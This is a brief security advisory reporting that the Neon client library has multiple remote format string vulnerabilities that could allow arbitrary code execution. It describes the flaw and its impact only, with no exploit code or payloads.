It has been reported that the Neon client library is prone to multiple remote format string vulnerabilities. This issue is due to a failure of the application to properly implement format string functions.

Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected client software, which would occur in the security context of the server process.
